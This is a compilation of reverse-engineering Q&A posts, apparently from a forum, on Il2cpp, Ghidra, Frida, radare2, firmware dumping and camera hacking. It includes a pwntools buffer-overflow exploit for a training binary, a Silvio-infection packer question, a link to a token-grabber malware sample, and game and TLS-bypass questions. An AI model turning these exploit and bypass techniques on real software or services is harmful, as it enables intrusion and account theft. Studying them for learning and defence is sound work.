问:
Constructor takes it's own class pointer as param
So, I need to call a constructor to start an action in a game made with Unity, compiled with Il2cpp.

The constructor itself by Ghidra:

```<code>void Client.Model.Gameplay.Battle.Commands.CreatePveBattleCmd$$.ctor(longlong param_1,int stage,int *heroIds,undefined4 source,undefined8 numberBattles, undefined8 autoBattle,undefined8 presetId,undefined doubleRun)
</code>```

The constructor in dnSpy after dumping it with Il2cpp dumper by Perfare:

```<code>public CreatePveBattleCmd(int stageId, int[] heroIds, BattleRequestSourceId source, [Optional] int? autoBattleNumber, [Optional] UserAutoBattleData autoBattleData, [Optional] int? presetId, bool doubleRunEnabled = false)
{
}
</code>```

That unknown param_1 at Ghidra's is the class pointer, I have been able to call methods of other classes with success but they were always already instantiated, so I'm kinda lost on how to approach this.

My way of calling methods is as follows:

```<code>typedef type (__callMethod* _name)(type param_1, type param_2);
_name name;
</code>```

How to call the constructor without it's class?


问:
Heavens gate code
Recommend me please how and what better to reverse the code containing "heavens gate"? What tool to bypass protection? Thank you.

```<code>I use Intel Pin

    push cs
    push 0xa02829
    jmp far 0xac9ba1, 0x33
</code>```

ContentLicense: CC BY-SA 4.0

Title: Heavens gate code


问:
extracting data from dump files
I have used Frida and Fridump for Memory Dump & Strings Dump on a mobile device so ,now I have about 500 Files with dump.data format.

first, I want to extract any pdf files and save them in my pc

second , I want to look for any text

can somebody help , thanks.

Title: extracting data from dump files


问:
Malware analysis of undetected NodeJS token grabber
I've recently nearly had my discord account stolen by a token grabber called 'Katana Legends'.
Someone contacted me asking to playtest a game, which prompted a .exe file.
I ran the file and website on virustotal and with malwarebytes, completely clean. Undetected.
I'm a complete beginner at this, heard Ghidra might be good to decompile it.
When ran, the file opened command prompt and restarted a few applications.
Other posts just answer

"Short answer, if you're good enough"

"Good luck"

The file is downloadable on https:// katanalegends . tk (watch out, don't run the file on your main device)

How do I go about this? I want to know why this is undetectable.


问:
Radare2 Load file from stdin fails
Radare2 supports loading a file from stdin via =.  However, my attempts to use it don't work:

```<code>$ r2 /bin/ls
Warning: run r2 with -e bin.cache=true to fix relocations in disassembly
[0x00006810]> q
$ cat /bin/ls | r2 =
^D
[0x00000000]> q
               $
</code>```

Note only does it not work, as shown above, but I need to reset my term afterwards!

Title: Radare2 Load file from stdin fails


问:
Patching Jar File (2022)
Currently reversing a .jar program recreationally, and I understand the workflow proposed here:

https://www.netspi.com/blog/technical/thick-application-penetration-testing/patching-java-executables-the-easy-way/

But whenever I go to repackage the folder containing the .class files into my .jar a couple of things go wrong. Firstly the file is a different size than the original, and the .jar will not run at all and instead throws a manifest error.

""" no main manifest attribute, in xxx.jar """

The only change I am making at this time is to a string changing it from "Welcome!" to "LOL!xox!".

I repackage the .jar with the following command:
jar -cvf xxx-2.jar -C xxx-1/ .

If I extract the new .jar again and diff the two directories I get changes in directories that I didn't touch

└──╼ $diff -q xxx-1/ xxx-2/

Common subdirectories: xxx-1/META-INF and xxx-2/META-INF

Common subdirectories: xxx-1/net and xxx-2/net

Common subdirectories: xxx-1/org and xxx-2/org

It's worth noting that after executing
jar -cvf xxx-2.jar -C xxx-1/ .

I see a significant amount of deflation (30-60%) during execution. I suspect this is some sort of Java version issue, currently running:

└──╼ $java -version

openjdk version "13.0.5.1" 2020-11-06

OpenJDK Runtime Environment (build 13.0.5.1+1-Debian-1)

OpenJDK 64-Bit Server VM (build 13.0.5.1+1-Debian-1, mixed mode)

And the Manifest contains the following version information:

Manifest-Version: 1.0

Ant-Version: Apache Ant 1.10.10

Created-By: 16.0.1+0 (Homebrew)

Main-Class: net.xxx-1.Main

Build-Date: 2021-08-02

Build-Revision: 8736

Original header:
https://imgur.com/a/PnnwuM7

"patched" header
https://imgur.com/a/pFC8nPf

Original footer:
https://imgur.com/a/wQy4MWq

"patched" footer:
https://imgur.com/RuIH1Jl

How do I generate a .jar file where the only change is the string I want to change?

Edit:
Added header and foot screenshots

Title: Patching Jar File (2022)


问:
radare2 Loop over literal strings for search
In radare2, I can search and grep e.g. / needle ~:0 2>/dev/null.  How I can I do that in a loop for multiple needles? E.g. something like for n in needle1 needle2 needle3; do / $n ~:0 2>/dev/null; done.

(The 2>d/dev/null is to quiet the play-by-play messages as radare2 searches; I couldn't find an option to do so)


问:
silvio packer for shared libray leads to error: "ELF load command address/offset not properly aligned"
I'm trying to implement a packer based on silvio infection. The packer works fine for ET_EXEC. However, it failed with "ELF load command address/offset not properly aligned" error for the shared library.

Questions

what does "ELF load command address/offset not properly aligned" mean ?

is silvio infection only works for ET_EXEC ?

silvio infection

Learning Linux Binary Analysis

https://github.com/youben11/silvio-text-infect


问:
Extracting Binary Stream inside an mp3
In the song Chisel by Pruient there seems to be what sounds like a binary octet stream starting at 4:43.

The section of noise has distinct sections punctuated with momentary silence which leads me to assume it is an executable file, and not an image which I would assume would sound entirely of solid static. How could I extract this and analyse it further?

Spotify Link
Youtube link at 4:40

Title: Extracting Binary Stream inside an mp3


问:
CR16C architecture code pointers in Ghidra?
On CompactRISC CR16C architecture, because instructions only start at even-numbered addresses, code pointers (as used by JAL, JUMP, Jcond) are shifted one bit to the right. These are distinct from data pointers, which are byte-addressable and just contain the target address without any bit shifting.

Does Ghidra have any additional pointer type that can be used to distinguish between these code pointers and data pointers?

Example of how this currently looks, using the standard pointer type for both:

(field1 is a code pointer, with the comment indicating the address it should be, and field2 is a data pointer)

I tried creating a function definition and setting the type as a pointer to that, but it still kept pointing to the wrong address. So, alternatively, could this behaviour be a bug?


问:
In the Hex-Rays decompiler, is it possible to assign macros such as NT_SUCCESS
Suppose the decompiler came up with something like this:

```<code>if (Status >= 0)
{
  // ... some other pseudo code
}
</code>```

Is it possible to prettify this code with the NT_SUCCESS() macro, like this:

```<code>if (NT_SUCCESS(Status))
{
  // ... some other pseudo code
}
</code>```

... which codifies the same condition as shown in the previous pseudo code? I haven't found a way as of yet. It's cosmetic, sure, but it still would be nice to be able to make this sort of adjustment.

Version of IDA 7.7 with matching decompiler.


问:
How can i reconstruct a full PE from a memory injected PE that only has IAT + sections content?
I have a injected PE (kernel mode rootkit to be exact) that only has the IAT table, which basically only stores the addresses of some kernel functions in an array which is referenced inside its code, then this is followed by some data section which stores strings, and after that comes the functions.

My question is that after i dump this injected mini PE, what is the easiest way that i convert it to a real PE in order to analyse it easier with IDA (or even better, a full working PE/.sys file that i can actually load and debug) ?

Also lets assume that i have found its entrypoint.

So, is there any tool for this?


问:
Intercepting arguments exchanged (iOS / Objective-C)
Just getting started learning reverse engineering and Frida

Poking around with AirDrop (sharingd daemon)

I have managed to find out from hooking onto the sharingd daemon, that the class SDAirDropController is "in charge" of the AirDrop settings, eg. when you turn "No One" to "Everyone" or "Contacts Only" in the AirDrop menu, SDAirDropController's methods get invoked

(I also manage to backtrace that SDNetworkOperation setProperty, SharingDaemon handleOperationMessage, SharingDaemon handleNewConnection etc calls/invoke SDAirDropController's setProperty method)

Question:
How do I hook and intercept the methods being called or invokve to view the variable/arguments exchanged?

I manage to hook the SDAirDropController class with the following Frida script, and throwing the class and method to see if I can intercept:

```<code>function show_modify_function_return_value(className_arg, funcName_arg) {
    var className = className_arg;
    var funcName = funcName_arg;
    var hook = eval('ObjC.classes.' + className + '["' + funcName + '"]');
    Interceptor.attach(hook.implementation, {
        onLeave: function(retval) {
            console.log("\n[*] Class Name: " + className);
            console.log("[*] Method Name: " + funcName);
            console.log("\t[-] Type of return value: " + typeof retval);
            console.log("\t[-] Return Value: " + retval);
            console.log("\t[-] True Value: " + retval.value);
        }
    });
}
</code>```

CHANGES AIRDROP SETTINGS TO "EVERYONE"

```<code>[*] Class Name: SDAirDropController
[*] Method Name: - configureSettingsForAirDrop
    [-] Type of return value: object
    [-] Return Value: 0x125f5a480
    [-] True Value: undefined

[*] Class Name: SDAirDropController
[*] Method Name: - setStatusAndNotify
    [-] Type of return value: object
    [-] Return Value: 0x1ce5e9f40
    [-] True Value: undefined

[*] Class Name: SDAirDropController
[*] Method Name: - somethingChanged:
    [-] Type of return value: object
    [-] Return Value: 0x1ce5e9f40
    [-] True Value: undefined

[*] Class Name: SDAirDropController
[*] Method Name: - setProperty:forKey:
    [-] Type of return value: object
    [-] Return Value: 0x125db7100
    [-] True Value: undefined
</code>```

I see the return values are pointers, is there a way I can get them to print out arguments/variables exchanged instead?

I'm currently using Frida, do let me know if there are other tools that allows me to arguments/variables exchanged too

Thanks in advance!


问:
Game Hacking Prevention - General Question
So I'm in a middle of developing an online video game for Windows and was wondering, how does games' hacking is even possible?
I mean, assuming I calculate the HP and the location of every player in the backend, it's impossible for the user side to manipulate those values.
What seems to happen in most games is that the implementation of crucial components like players' health bar has been done on the user side.
My question is why, and wouldn't it be better in general and particularly for big companies to implement those things in the backend?</p>


问:
Is disassembly of standard gcc programs trivial, or just as difficult as video game ROMs?
I am attempting to do some reverse-engineering of ARM binaries, with the ultimate goal of reverse-engineering GBA ROMs. Of course, GBA ROMs contain a mixture of code and data, so a standard disassembler that just converts the hexdump to equivalent ARMv4 assembly won't work because of the parts that correspond to data. So clearly disassembling GBA ROMs is a tough task. (Please correct me if I'm wrong on any of that - I'm very much still learning.)

My question is, do standard C programs compiled to ARMv4 with gcc on Ubuntu have the problem I explained above of producing a mixture of data and code in the binary? If so, what kinds of programs have this (all of them, or only some special cases?)


问:
How to determine file system or open unknown .img file
I have a .img file which will not mount, open, extract or anything within Windows using either the tools built into Windows 10, WinRAR or 7-Zip, they all return errors.

I'm trying to look at data contained within the file which is destined for a Telenav system and would add an update to existing data - or overwrite. I do not know the file system of the .img file which makes life even more interesting.

I need some help pointing in the right direction as to how I may be able to view the information? It originally resided within a compressed folder. I'm fairly new to this stuff so please be gentle and guide me in the right direction if possible.

I do have a ubuntu machine but yet to try on that. Still a Linux newb.

I also can't add new tags so sorry if they're wrong too!


问:
stack explanation from https://revers.engineering/applied-re-the-stack/
I've been reading [1] (By Daax Rynd) to get an understanding the stack and at around the 12th page, I'm a bit stumped by how the value 60 from sub rsp, 60 was arrived at.

[Note, all code and quotes are from that page and not my own]

Given the following C code:

```<code>void do_math(void)
{
    int x = 10;
    int y = 44;
    int z = 36;
    int w = 109;
    int a[4] = { 1, 2, 3, 4 };
    a[0] = x * a[0];
    a[1] = y * x;
    a[2] = a[1] * z;
    a[3] = w * a[2];
    printf("%d\n", a[3]);
}
</code>```

which was compiled to the following assembly [copied verbatim from the website.]:

```<code>//
// Assembly listing of main()
//
mov qword ptr [rsp+24], r8
mov qword ptr [rsp+16], rdx
mov dword ptr [rsp+8], ecx
sub rsp, 40
call do_math
xor eax, eax
add rsp, 40
ret 0
//
// Assembly listing of do_math()
//
push rbp
mov rbp, rsp
sub rsp, 60
...
</code>```

I got stuck at the sub rsp, 60.  Reading the explanation on the next page:

Then the stack allocates space using sub rsp, 60h. This is our local
variable storage space. If we look at our C excerpt you’ll notice that we
have a total of 8 integer variables, as well as a 4 character string used as
a format string for printf. That means we’re utilizing 32 bytes + 4 for
character storage for a total of 36 bytes. Well that’s not good, it’s not
16-byte aligned. Let’s add 8, 44 – still not 16-byte aligned. Add another 8
and we get 52, damn it – no dice. The stack is still misaligned. Add another
8 and we have 60. 60 is a multiple of 16, so we’d have to allocate that much
space on the stack to keep it aligned, thus the sub rsp, 60h. Unfortunately,
the majority of that storage will be unused since it’s just for alignment
purposes. Note that all the operands in these instructions are in
hexadecimal.

As noted, the sub rsp, 60 is actually sub rsp, 0x60.

[0x60 = 96 decimal]

As I grasped that C code, there are 8 integers and 1 4-character string; thus, as stated, 36 bytes need to be placed in the stack.

I thought I understood the issue of 16-byte alignment; but given the above explanation, I'm not entirely sure anymore.

My understanding is that since 36 bytes are required PLUS the Return instruction pointer address that needs to be placed in the stack, there
should be 36 + 8 = 44 bytes.  But that isn't 16-byte aligned.  So the closest 16-byte alignment would be 80 (0x50).

But instead, the author used 0x60 and I'm confused as how he got to that value (particularly the part where he added continually added 8 bytes to 36 bytes a few times, i.e. 36 +8 = 44, 44 + 8 = 52,  and finally 52 + 8 = 60).  Then he claims that 60 is a multiple of 16?  (which it isn't, as far as I know) [but, 0x60 is a multiple of 16]

Can someone please clarify where I'm going wrong?

Thanks

[1] - https://revers.engineering/applied-re-the-stack/


问:
What is this CRC32 algorithm (written in C), and how can it be written in Java or Python?
I've been trying to convert this CRC32 algorithm to Java or Python, but I haven't been successful, I believe it's because I'm not familiar enough with c.

Note that I believe DAT_804818d0 is the seed, which I still haven't found.

This was my naive attempt at converting the below code to Java (I suspect I've made numerous mistakes): https://pastebin.com/6XnxqaBp

```<code>uint zz_801744d0_(byte *param_1,int param_2)

{
  byte *pbVar1;
  byte *pbVar2;
  byte *pbVar3;
  byte *pbVar4;
  byte *pbVar5;
  byte *pbVar6;
  byte bVar7;
  bool bVar8;
  int iVar9;
  int iVar10;
  uint uVar11;
  uint uVar12;

  uVar11 = DAT_80481ad0;

  //The code in this if statement appears to handle the first 4 bytes in a special manner
  if (3 < param_2) {
    pbVar1 = param_1 + 1;
    param_2 = param_2 + -4;
    pbVar2 = param_1 + 2;
    bVar7 = *param_1;
    pbVar3 = param_1 + 3;
    param_1 = param_1 + 4;
    uVar11 = ~((uint)bVar7 << 0x18 | (uint)*pbVar1 << 0x10 | (uint)*pbVar2 << 8 | (uint)*pbVar3);
  }

  iVar10 = 0;
  if (0 < param_2) { //If the data was 4 bytes in size or less, we just return ~uVar11
    if (8 < param_2) { //If the data was 12 bytes or more, the rest are handled in chunks of 8 bytes
      bVar8 = false;
      if ((-1 < param_2) && (param_2 < 0x7fffffff)) {
        bVar8 = true;
      }
      if ((bVar8) && (uVar12 = param_2 - 1U >> 3, 0 < param_2 + -8)) {
        do {
          iVar10 = iVar10 + 8;
          uVar11 = (uVar11 << 8 | (uint)*param_1) ^
                   *(uint *)(&DAT_804818d0 + (uVar11 >> 0x16 & 0x3fc));
          pbVar1 = param_1 + 2;
          pbVar2 = param_1 + 3;
          pbVar3 = param_1 + 4;
          uVar11 = (uVar11 << 8 | (uint)param_1[1]) ^
                   *(uint *)(&DAT_804818d0 + (uVar11 >> 0x16 & 0x3fc));
          pbVar4 = param_1 + 5;
          pbVar5 = param_1 + 6;
          pbVar6 = param_1 + 7;
          param_1 = param_1 + 8;
          uVar11 = (uVar11 << 8 | (uint)*pbVar1) ^
                   *(uint *)(&DAT_804818d0 + (uVar11 >> 0x16 & 0x3fc));
          uVar11 = (uVar11 << 8 | (uint)*pbVar2) ^
                   *(uint *)(&DAT_804818d0 + (uVar11 >> 0x16 & 0x3fc));
          uVar11 = (uVar11 << 8 | (uint)*pbVar3) ^
                   *(uint *)(&DAT_804818d0 + (uVar11 >> 0x16 & 0x3fc));
          uVar11 = (uVar11 << 8 | (uint)*pbVar4) ^
                   *(uint *)(&DAT_804818d0 + (uVar11 >> 0x16 & 0x3fc));
          uVar11 = (uVar11 << 8 | (uint)*pbVar5) ^
                   *(uint *)(&DAT_804818d0 + (uVar11 >> 0x16 & 0x3fc));
          uVar11 = (uVar11 << 8 | (uint)*pbVar6) ^
                   *(uint *)(&DAT_804818d0 + (uVar11 >> 0x16 & 0x3fc));
          uVar12 = uVar12 - 1;
        } while (uVar12 != 0);
      }
    }
    iVar9 = param_2 - iVar10;
    if (iVar10 < param_2) { //Any remaining bytes are handled one at a time.
      do {
        bVar7 = *param_1;
        param_1 = param_1 + 1;
        uVar11 = (uVar11 << 8 | (uint)bVar7) ^ *(uint *)(&DAT_804818d0 + (uVar11 >> 0x16 & 0x3fc));
        iVar9 = iVar9 + -1;
      } while (iVar9 != 0);
    }
  }
  return ~uVar11;
}
</code>```


问:
Easiest way to move everything, including custom structs, from an IDA Pro IDB to another?
I have analyzed a 32 bit version of an executable, defined many structs, renamed many things and so on.

Now i want to move everything, including the structs that i defined, to the IDB of the 64 bit version of the same application. Because i know that at least many of the structs and functions are the same so at least i need to move these structs there.

How to do this in IDA pro? (using 7.6)


问:
extracting time latitude and longitude from hexadecimal file
I am working on a GPS dump file. It contains the time as well as position data of a flying object. I am not sure in what units they are and there are no manuals available about the data format. I am giving sample data below.

```<code>-----------------------
0000 0000 6c00 0000 ff0f ec01 0000 0000
f004 400c 400c ff0f ff0f 0100 0100 0000
e00d 0100 0100 b001 ff0f 0000 0000 5703
0004 0000 ff0f 0100 ff0f 0000 0000 0400
0000 0000 0000 ff0f 0401 0001 ff0f ff0f
ff0f e800 0008 0100 0100 1400 0100 7402
5c02 0000 0000 0000 0100 0000 8000 b80b
0000 ff0f ff0f 0000 ff0f 0100 0100 0000
0000 0000 6000 0000 ff0f 5c0e 0000 0000
--------
</code>```

I believe each line has time as well as latitude-longitude-altitude information. Or instead of latitude-longitude-altitude it could be x,y,z earth fixed coordinate also. Not sure which one it is. Can anyone help in decoding? When I open this file in sublime it showed the format is hexadecimal.


问:
Using angr as a pure concrete emulator
I am able to successfully run my target binary under Qiling, an emulator that supplements Unicorn with hooks for system libraries.  I would like to do the same thing under angr.  I don't need any symbolic execution, I don't need any Symbion: Just simply use angr as an emulator (which it's more than capable of).  How can I tell angr to run everything concretely, but still continue to hook the libs and replace them with angr's sims?

Surprisingly, this turns out to not be simple.  What I found so far:

https://github.com/angr/angr/issues/200 - A discussion from  6 years ago how to do this

https://angr.io/blog/angr_symbion/ Symbion, which does something similar, but much more complex: It runs the concrete side externally, interfaces to it via gdb, and syncs periodically with angr

Title: Using angr as a pure concrete emulator


问:
CFT challenge with Trojan malware?
I am trying to solve a CTF challenge with levels with escalating difficulty.

At this point, the program (PE32 executable) is detected as malware (wacatac to be more precise) by Windows Defender. It could be a false positive, but I didn't run it yet.

So far I've tried to open it with IDA, Radare2, and Ghidra, but all of them have problems when trying to parse the file:

IDA - "the processor type 'cli' is not included...",

Radare - "[w] Cannot open 'dbg://../a.exe' for writing.", and

Ghidra can't properly decompile it.

I will look into those to see if I am missing something, and also tomorrow I'll try to run it inside a VM. Am I doing something wrong? Are there any other approaches that I'm missing or some way to analyze malware?

Title: CFT challenge with Trojan malware?


问:
Backtrace HTTP request over few modules when using FRIDA
I am in the process of reverse engineering an IOS IPA using HOPPER and FRIDA. First, I started with POSTMAN, which records the app's HTTP requests. What I find interesting is that the app uses a so-called "device check token" in its login header. This is dynamically generated when a login is performed.

Second, I recorded the requests with FRIDA Trace and added this code to the automatically generated tweak file "dataTaskWithRequest_completionHandler_.js":

```<code>...
onEnter(log, args, state) {
        log("URL: " + ObjC.Object(args[2]).URL().absoluteString());
        log('NSURLSession called from:\n' +
            Thread.backtrace(this.context, Backtracer.ACCURATE)
            .map(DebugSymbol.fromAddress).join('\n') + '\n');
      },
...
</code>```

My guess was to get the functions involved in generating this token. So the trace returns

```<code>/* TID 0x103 */
  3260 ms  -[NSURLSession dataTaskWithRequest:0x28035c760 completionHandler:0x280e6c840]
  3260 ms  URL: https://mobile-api.rewe.de/mobile/customer/login?includePickupStations=true
  3260 ms  NSURLSession called from:
0x104bc9e80 RxClient!0xfde80 (0xfde80)
0x1010f7d24 RxSwift!0x2bd24 (0x2bd24)
0x1011229a0 RxSwift!0x569a0 (0x569a0)
0x10111b86c RxSwift!0x4f86c (0x4f86c)
0x1011229a0 RxSwift!0x569a0 (0x569a0)
0x1010de674 RxSwift!0x12674 (0x12674)
0x1010deb5c RxSwift!0x12b5c (0x12b5c)
0x101122e10 RxSwift!0x56e10 (0x56e10)
0x1010f80fc RxSwift!0x2c0fc (0x2c0fc)
0x101122a7c RxSwift!0x56a7c (0x56a7c)
0x10113ed88 RxSwift!0x72d88 (0x72d88)
0x10113ef48 RxSwift!0x72f48 (0x72f48)
0x10113698c RxSwift!0x6a98c (0x6a98c)
0x1011368fc RxSwift!0x6a8fc (0x6a8fc)
0x1011357b0 RxSwift!0x697b0 (0x697b0)
0x101135384 RxSwift!0x69384 (0x69384)
</code>```

Now I'm stuck at this point and I'm just running out of ideas on what to do next. I prefer a way to step through these functions (Debug). I think it started with "0x101135384 RxSwift!0x69384 (0x69384)" but I don't know how to do this.

Is there a better solution to get the token algorithm?


问:
Warframe Network Communication
Warframe is a MMO that has both servers and peer to peer networking, I am looking into the server side of things. What I am wanting to achieve is client communication to a emulated server.

So far I am sending files to the launcher via host domain redirecting and emulating content.warframe.com, this allows me to run the game on older versions so I don't got to worry about constantly updating and changing to make the new builds.

This allows for the play button to be usable and launch the actual game, which makes calls to api.warframe.com. This call uses tls 1.2 - 1.3, to counter act this I have made my own certification chain to make a certificate that claims to be api.warframe.com. I then installed the root certification authority (CA) of the chain into my windows Trusted Root Certificate Authorities.

Which leads to the issue I am stuck at. Warframe doesn't trust the certificate, self signed error code. This has me confused as I cant find any certificate pinning on the exe even more confusing is it's a 64 bit process yet makes the secure calls via ws2_32.dll send and recv functions. Nothing there to inform me of where it is storing it's own certificate store.

I have tried looking for answers on how to get past this road block and have came up with nothing, so now I ask directly. Any help would be greatly appreciated.

A little bit more information is that the game might use openssl as it has the eula in the game directory and a dedicated folder holding only the eula, I know for a fact it uses oodle as the log loads oo2net_9_win64 and oo2core_9_win64 dlls.

Title: Warframe Network Communication


问:
Is it possible to dump firmware of a device via USB port?
I have a device which can be connected via USB port. The vendor of this device provides a tool for upgrading firmware of this device via USB port.
lsusb command says that this device has following VendorID and ProductID 0483:5748 STMicroelectronics Program Upgrade V1.0. So I assume that this device is STM based. My question is - if there is a tool for uploading firmware to device via USB, is there a way of downloading current firmware of this device via USB back to my PC? And if there is such way, how do I do that? I stumbled across some links on the Internet like this one https://medium.com/techmaker/reverse-engineering-stm32-firmware-578d53e79b3 it recommends to use openocd tool. But in my case openocd just gives me an error

```<code>Open On-Chip Debugger 0.11.0-rc2
Licensed under GNU GPL v2
For bug reports, read
        http://openocd.org/doc/doxygen/bugs.html
WARNING: interface/stlink-v2.cfg is deprecated, please switch to interface/stlink.cfg
Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'.
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
Info : clock speed 1000 kHz
Error: open failed

</code>```


问:
Prevention of reverse engineering of a microcontroller's firmware
What steps may I take to make it more expensive to reverse engineer a firmware I want to use on a cheap microcontroller?

Options I see so far:

Flood it with epoxy with quartz or metal dust to make physical access or x-ray harder

keep device always-on, and store important part in energy-dependent memory. Ideally a key that decrypts firmware

Use detection of disasembling process, and erase firmware if triggered. For example a light sensor inside the box or conductivity test or shake sensor.

Use firmware obfuscation

Use a particular MC that has an option to disallow firmware read. Is there something in stm32f0 family with this property?

Add physical parts and firmware code that are not actually needed

Erase the text from the microcontroller's body

What points would make your life harder? What other options can you think of?


问:
ida shows instructions as hex data
I am new to reverse engineering. I did a couple of projects. now I was doing another project and faced kind of a problem.

at the start of the program, there is a label that points to an address of memory but when going to that address there is only hex data instead of instruction.
how I can convert those to the instruction. I used "C (convert to code)" which was nonsense.

thanks in advance

Title: ida shows instructions as hex data


问:
How do I convert an adress to little endian such that I can feed it to my exploit?
I'm doing a small exploit exercise.
For this purpose, I have the following file:

```<code>#include <stdio.h>
void secretFunction() {
       printf("Congratulations!\n");
       printf("You have entered in the secret function!\n");
}
void echo() {
       char buffer[20];
       printf("Enter some text:\n");
       scanf("%s", buffer);
       printf("You entered: %s\n", buffer);}

int main() {
     printf("%p \n", secretFunction); echo();
     return 0;
 }
</code>```

The basic idea is very simple, the program starts by outputting a memory adress for a secret function, and then the exploiter can overflow the buffer in the "echo" function" and reroute the program to the adress of the secret function.

I used a pwntools template to make the exploit:

```<code>from pwn import *
Set up pwntools for the correct architecture
context.update(arch='i386') exe = './vuln_aslr'
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    return process([exe] + argv, *a, **kw)
gdbscript = ''' continue '''.format(**locals())
#===========================================================
#EXPLOIT GOES HERE
#===========================================================
io = start() addr = io.recvline() print(addr)
addrINT = int(str(addr).replace("\\n" , "").replace("b\'", "").replace("'", "").replace(" ", ""),0)
littleEndianAddr = addrINT.to_bytes(length=4, byteorder="little")
print(littleEndianAddr)

msg1  = io.recvline()

print(type(msg1))
print(msg1)

io.sendline(32*b"a" + littleEndianAddr)

io.interactive()
</code>```

So the important part is of course below "EXPLOIT GOES HERE". ( I know the addr line is really ugly)
I first run this on a file  with aslr disabled. Here, the memory adress (the  "addr" variable) is:

```<code>b'0x80491d6 \n'
</code>```

I convert this variable to a int, and then use "to_bytes" to convert it to little endian input I can use.
This produces the littleEndianAddr variable that looks like this:

```<code>b'\xd6\x91\x04\x08'
</code>```

This I can just pass to the program, and my secret function will be invoked:

```<code>io.sendline(32*b"a" + littleEndianAddr)
</code>```

Now, this all works the way it should, but now I turn on aslr for my executable, and I try again.
This time, the memory adress of the secret function is:

```<code>b'0x5655f20d \n'
</code>```

But when this is converted to the little endian input that want to exploit with, I get this:

```<code>b'\r\xf2UV'
</code>```

The elements are simply their hex representation!
And now my exploit doesnt work, my function never runs.
I'm guessing this is because the littleEndianAddr just has regular chars, and is not understood as a memory adress by my computer.

Why is the second memory adress treated differently be "to_bytes"? What can I do to get a memory adress that works, that I can inject?

EDIT

I now tried the pwntools p32 function as well. The same thing happens here. If I have this sample code with the non-aslr adress:

```<code>In [1]: s = 0x80491d6

In [2]:  from pwn import *

In [3]: print(p32(s))
b'\xd6\x91\x04\x08'
</code>```

But when I try the same thing with the aslr-leaked adress:

```<code>In [4]: s = 0x565cb20d

In [5]: print(p32(s))
b'\r\xb2\\V'
</code>```

I guess the function does what it is supposed to do, since it just otuputs the ascii chars that represent the values, but how do I get it to print ion the format that I need?
Such that it works like a memoery adress


问:
Getting rid of a custom Shell on a LiteOS based outdoor camera
I started reversing this camera in order to get rid of the unwanted traffic it constantly does towards Chinese servers.

I have a serial access to it thanks to an obvious UART port (bottom left in the picture).

The camera is based on a Hi3518 chip and runs Huawei LiteOS 1.4.5:

```<code>SPI Nor(cs 0) ID: 0xef 0x60 0x17
Block:64KB Chip:8MB Name:"W25Q64FW"
SPI Nor total size: 8MB

********hello Huawei LiteOS ARM926********

version : Huawei LiteOS V200R001C10B017
open-version : Huawei LiteOS 1.4.5
build data : May  2 2018 19:06:05

**********************************
********Hello Huawei LiteOS********

version : Huawei LiteOS V200R001C10B017
open-version : Huawei LiteOS 1.4.5
build data : May  2 2018 19:06:05

********
Huawei LiteOS # Spi Nor ID:0xEF 0x60 0x17 0x00 0x00 0x00 0x00 0x00
Spi Nor Flash Info:
Name:"W25Q64FW" Size:8MB Block:64KB
osal_proc_mkdir - parent is NULL! proc=0x80976bd0
<6>Hisilicon Media Memory Zone Manager
</code>```

And once started it does not give a typical /bin/sh to the console, but instead a custom made CLI they call a shell.
Here are the commands that this "shell" has:

```<code>Huawei LiteOS # help
*******************shell commands:*************************

ap_test       armbenv       arp           call          cat           cat_logmpp
    cd            cp
cpup          debug         dns           excInfo       findsym       format
    free          help
hiddrs        himd          himm          hwi           i2c_read      i2c_write
    ifconfig      lddrop
local_alarm   ls            mclose        memcheck      mkdir         mopen
    mount         msgqueue
nand_bad      netstat       ntpdate       partinfo      partition     ping
    pwd           readreg
reset         rm            rmdir         sem           sendbps       shutdown
    sleep_device  ssp_read
ssp_write     sta_test      statfs        swtmr         sync          systeminfo
    task          telnet
tftp          touch         uart_close    uart_config   uart_read     uart_write
    umount        uname
writeproc     writereg
</code>```

Note those commands are functions from this custom CLI, not actual UNIX/Linux/busybox commands.

Those are documented, as is the whole LiteOS SDK, in a pretty well put documentation available on their Github, but nothing really give access to the underlying Linux system, unlike many Hi35xx based devices, looks like their build is configured with this shell enabled.

The most annoying thing is that they also seem to have disabled U-Boot access, even trying to brute force a keystroke during power up doesn't do anything. Nevertheless I think U-Boot is looking for something on the SD-Card as it initializes the SD slot when the camera is powered on with the reset button pressed:

```<code>Block:64KB Chip:8MB Name:"W25Q64FW"
SPI Nor total size: 8MB

EMMC/MMC/SD controller initialization.
MMC/SD Card:
    MID:         0x3
    Read Block:  512 Bytes
    Write Block: 512 Bytes
    Chip Size:   60906M Bytes (High Capacity)
    Name:        "SD64G"
    Chip Type:   SD
    Version:     2.0
    Speed:       25000000Hz
    Bus Width:   4bit
    Boot Addr:   0 Bytes
Interface:  MMC
  Device 0: Vendor: Man 035344 Snr e2cf5b82 Rev: 8.5 Prod: SD64G
            Type: Removable Hard Disk
            Capacity: 60906.0 MB = 59.4 GB (124735488 x 512)
Partition 1: Filesystem: FAT32 "NO NAME    "
</code>```

I tried to copy the obvious, uImage, update/uboot etc... doesn't trigger anything.

I also tried to overflow the shell commands, messing with /jffs0/etc/init.d/rcS, nothing worked so far.

I'd be very happy with some fresh ideas I didn't try yet!

Edit

The flash serving as block device is a W25Q64.W, I dumped it using a brand new CH341a and a test clip, first time I did this, very cool. Now I have this dump but the binwalk analysis doesn't look promising:

```<code>
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
102060        0x18EAC         CRC32 polynomial table, little endian
5767168       0x580000        JFFS2 filesystem, little endian
6512540       0x635F9C        gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)
6512780       0x63608C        JFFS2 filesystem, little endian
6512968       0x636148        Zlib compressed data, compressed
6513460       0x636334        Zlib compressed data, compressed
6513640       0x6363E8        gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)
[hundreds of lines of those]
8257536       0x7E0000        JFFS2 filesystem, little endian
</code>```

Here's the entropy graph

which seems to indicate a huge chunk of the firmware is either encrypted of compressed.


问:
inspecting the .hex file generated by gpasm
To answer my own question here, I wrote a small sample program, example.asm:

```<code>var_1 equ H'0001'

    constant var_2=H'0002'

#define var_3 H'0003'

cblock H'0004'
    var_4
endc

    END
</code>```

and compiled it with gpasm using the instructions here, Makefile

```<code>all: example.asm
    gpasm -p p10f200 example.asm

clean:
